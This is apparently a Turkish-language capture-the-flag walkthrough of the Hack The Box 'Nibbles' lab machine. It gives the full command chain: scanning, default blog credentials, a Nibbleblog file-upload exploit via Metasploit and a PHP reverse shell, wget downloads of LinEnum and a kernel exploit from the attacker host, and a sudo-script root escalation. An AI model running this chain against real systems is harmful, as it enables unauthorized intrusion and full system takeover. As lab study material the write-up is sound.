Nibbles sanal makinesinin IP ve işletim sistemi bilgileri aşağıdaki gibidir.
- IP Adresi: 10.10.10.75
- İşletim Sistemi: Linux
A) Port Tarama
Port taraması sonucunda 2 adet portun açık olduğu tespit edilmiştir.
nmap -p- –open -vvv 10.10.10.75 -oN fullportscan
Açık portlar aşağıdaki gibidir:
- 22/tcp
- 80/tcp
Ardından açık olduğu tespit edilen portlar üzerinde bulunan hizmetlere ait detayların tespiti için versiyon ve detaylı tarama gerçekleştirilir.
nmap -p 22,80 -sV -sC -vvv 10.10.10.75 -oN versionscan
B) SSH Servisinin İncelenmesi
Gerçekleştirilen nmap taramasında, TCP\22 portunda çalışan SSH servisinin sürümünde (OpenSSH 7.2p2) herhangi bir zafiyet bulunmadığı tespit edilmiştir.
C) HTTP Servisinin İncelenmesi
Gerçekleştirilen nmap taramasında, TCP\80 portunda Apache (HTTPD 2.4.18) servisi çalışmaktadır. İlgili adresi tarayıcı üzerinden ziyaret ettiğimizde karşılaştığımız sayfa aşağıdaki gibidir.
Ardından ilgili adrese “curl” aracı ile istek gerçekleştirilerek sunucudan dönen yanıt incelenerek “/nibbleblog/” dizininin varlığı tespit edilebilir.
curl -i http://10.10.10.75/
Benzer olarak web sayfasının kaynağı incelenerek de yorum içerisindeki bu bilgi elde edilebilir.
İlgili dizine tarayıcı üzerinden gittiğimizde aşağıda ekran görüntüsü verilen sayfa ile karşılaşılmaktadır. Bu sayfada aşağıda kırmızı kutu içerisine alınan “Powered by Nibbleblog” yazısı için daha sonra zafiyet varlığı kontrol edilebilir.
Öncelikle “gobuster” aracı ile ilgili blog başlığı altında dizin taraması gerçekleştirilir. Bunun için aşağıdaki komut kullanılabilir.
gobuster -u http://10.10.10.75/nibbleblog/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -s ‘200,204,301,302,307,403,500’ -e -o gobuster
Dizin tarama işlemi sonrası yukarıda verilen dizinler tespit edilmiştir. İlgili dizinlerin içerikleri sıra ile kontrol edilebilir.
İlk olarak “admin” dizini altına gidildiğinde blog uygulamasına ait admin paneli tespit edilmiştir.
http://10.10.10.75/nibbleblog/admin.php
Tespit edilen bu yönetim panelinde gerçekleştirilen varsayılan kimlik denemeleri sonucu panel için kimlik bilgilerinin “admin/nibbles” olduğu tespit edilmiştir.
İlgili dizinlerden ikinci olarak “content” dizinine erişildiğinde burada dizin listelemenin açık olduğu tespit edilmiştir.
Burada “private” klasörü altındaki config.xml ve users.xml dosyalarında mail adresi, kullanıcı adı (“admin” gibi) ve IP adresi gibi bilgi ifşalarına rastlanmıştır.
Üçüncü olarak “README” dizininin altı kontrol edildiğinde Nibbleblog’a ait versiyon bilgisi tespit edilebilir.
Nibbleblog’un sürüm bilgisine (“admin/nibbles” kimlik bilgisi ile oturum açıldıktan sonra) ayarlar (settings) sayfasından da erişim sağlanabilir.
Benzer olarak kimlik doğrulama yapılmadan da “/nibbleblog/update.php” sayfasından da sürüm bilgisi elde edilebilir.
D) NibbleBlog Dosya Yükleme Zafiyetinin Tespiti
NibbleBlog 4.0.3 “Coffee” sürümü için tespit edilen zafiyetler aşağıdaki gibidir.
Burada ilgili zafiyetin Google üzerinden dorklar ile aranması ve içeriğinin görüntülenmesine ait ekran görüntüsü aşağıda verilmiştir.
“Nibbleblog 4.0.3 – Arbitrary File Upload (Metasploit)” ile istismara ait detaylar incelenebilir. İstismar içeriği incelendiğinde, zafiyetin kimlik doğrulama gerektirdiği gözlemlenmektedir.
https://www.exploit-db.com/exploits/38489
Zafiyetin manuel istismarına ait detaylar kaynaklardaki Github (BuddhaLabs) ve Curesec bağlantılarında detaylı olarak anlatılmıştır.
E) Nibbleblog 4.0.3 Uygulamasının MSF nibbleblog_file_upload Modülü İle İstismarı
Tespit edilen kimlik bilgileri ile Nibbleblog 4.0.3 sürümündeki uygulamanın istismarı için MSF nibbleblog_file_upload istismar modülü kullanılabilir.
use exploit/multi/http/nibbleblog_file_upload
set rhost 10.10.10.75
set username admin
set password nibbles
set targeturi /nibbleblog
exploit
Böylece uygulama kullanıcısının (nibbler) yetkileri ile komut satırı erişimi elde edilebilir.
F) Nibbleblog 4.0.3 Uygulamasının Manuel Olarak İstismarı
Tespit edilen kimlik bilgileri ile Nibbleblog 4.0.3 sürümündeki uygulamanın istismarı için bir PHP dosyası resim olarak hedefe yüklenecektir.
Bu amaçla, ilk olarak Kali üzerinde “/usr/share/laudanum/php/” dizini altında bulunan “php-reverse-shell.php” dosyasının içeriğini düzenleyerek hedef sisteme atılacaktır.
cp /usr/share/laudanum/php/php-reverse-shell.php .
Dosya içeriğinin düzenlenmesi ve görüntülenmesine ait ekran görüntüleri aşağıda verilmiştir.
nano php-reverse-shell.php
cat php-reverse-shell.php
Sonrasında dinleyici başlatılır.
nc -lvp 7070
Ardından hedef sisteme yüklediğimiz ters bağlantı açacak dosya, web tarayıcısı üzerinden çağırılır. Dosyanın hedef sisteme yüklendiğine dair ekran görüntüsü aşağıda verilmiştir.
Yüklenen dosyanın varlığının tespitine ait ekran görüntüsü aşağıda verilmiştir. Bu aşamada “image.php” dosyasına tıklayarak, yüklediğimiz ters bağlantı sağlayacak komutları (shell) çağırıyoruz.
Hedef sistem üzerinde oturum elde edilmesine ait ekran görüntüsü aşağıda verilmiştir.
Oturum elde ettikten sonra “user.txt” dosyasının içeriğinin görüntülenmesine ait ekran görüntüsü aşağıda verilmiştir.
G) Hak Yükseltme Zafiyetlerinin Tespiti
Uygulama kullanıcısının (nibbler) yetkileri ile erişim sağlandıktan sonra, potansiyet zafiyetlerin tespiti için hedef sistem üzerinde “/tmp” dizini altına geçilir ve saldırgan sistemden “LinEnum.sh” betiği hedef sisteme indirilir. Bunun için saldırgan sistem üzerinde HTTP sunucu başlatılır.
python -m SimpleHTTPServer 80
Hedef sistem üzerinde “wget” aracının varlığı tespit edilir ve aşağıdaki komut ile hedef sisteme betik indirilir.
which wget
wget http://10.10.14.20/LinEnum.sh
Kali üzerinde de bu indirme isteği görülebilmektedir.
LinEnum.sh betiğine çalışma yetkisi verilir ve ardından bu betik çalıştırılır.
Çıktıyı incelediğimizde 2 nokta göze çarpmaktadır.
- Birincisi işletim sistemine ait çekirdek sürümünün zafiyet barındırmasıdır.
- İkincisi ise “monitor.sh” betiğini sudo haklarıyla parola gerekmeksizin çalıştırılabildiğidir.
H) İşletim Sistemi Zafiyeti ile Yetki Yükseltme
Komut satırı erişimi elde edildikten sonra işletim sistemi sürümü incelendiğinde çekirdeğin Linux 4.4.0-104-generic ve dağıtımın da Ubuntu 16-04.3 LTS olduğu görülmektedir.
uname -a && uname -mail
lsb_release -a
Bu sürümde CVE-2017-16995 ID’li “Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) – Local Privilege Escalation” zafiyeti tespit edilmiştir.
Söz konusu istismar kodu hedef sisteme atılacaktır. Ama öncesinde hedef üzerinde “gcc” derleyicinin varlığı tespit edilir.
Ardından betik derlenir ve çalıştırılır. İstismar kodunu hedef sisteme yükleyebilmek adına ilk olarak saldırgan sistem üzerinde (durdurulmuşsa) HTTP sunucu başlatılır.
python -m SimpleHTTPServer 80
Ardından ilgili istismar kodu hedef sisteme indirilir.
wget http://10.10.14.20/44298.c
İstismar kodunun indirildiği Kali makinesinden de görülebilir.
Daha sonra exploit derlenip çalıştırılarak hedef sistem üzerinde yetki yükseltme işlemi gerçekleştirilir.
which gcc
gcc -o kernel-exploit 44298.c
./kernel-exploit
Son olarak “root.txt” dosyasının içeriğinin görüntülenmesine ait ekran görüntüsü aşağıda verilmiştir.
I) Sudo Yetkisini Kötüye Kullanarak Yetki Yükseltme
Linenum.sh ile tespit edilen “monitor.sh” betiğini kullanarak yetki yükseltme işlemi gerçekleştirilmek istenildiğinde, ilgili betiğin bulunduğu dizine gitmeye çalışılırken aşağıdaki hata ile karşılaşılmaktadır.
cd nibbler/personal/stuff/
Mevcut dizin incelendiğinde, “personel.zip” isimli bir sıkıştırılmış dosyanın doluğu ve içerisinde de herkes tarafından okunabilir/yazılabilir/çalıştırılabilir (777) olan “monitor.sh” betiğinin olduğu görülmektedir. İlgili sıkıştırılmış dosya “unzip” komutu ile açılabilir.
unzip personal.zip
“monitor.sh” dosyasının içeriğini aşağıdaki şekilde güncellenir ve betik “sudo” hakları ile çalıştırılarak yetki yükseltilir.
echo “/bin/sh -i” > monitor.sh
cat monitor.sh
sudo ./monitor.sh
id
Kaynaklar:
https://pentestworld.blogspot.com/2019/12/htb-nibbles.html
https://github.com/BuddhaLabs/PacketStorm-Exploits/blob/master/1301-exploits/nibbleblog-shell.txt
https://curesec.com/blog/article/blog/NibbleBlog-403-Code-Execution-47.html
https://medium.com/@ranakhalil101/hack-the-box-nibbles-writeup-w-o-metasploit-499ae2517ccd
https://skiponacci.github.io/htb-nibbles/
https://sevenlayers.com/index.php/190-hackthebox-nibbles-walkthrough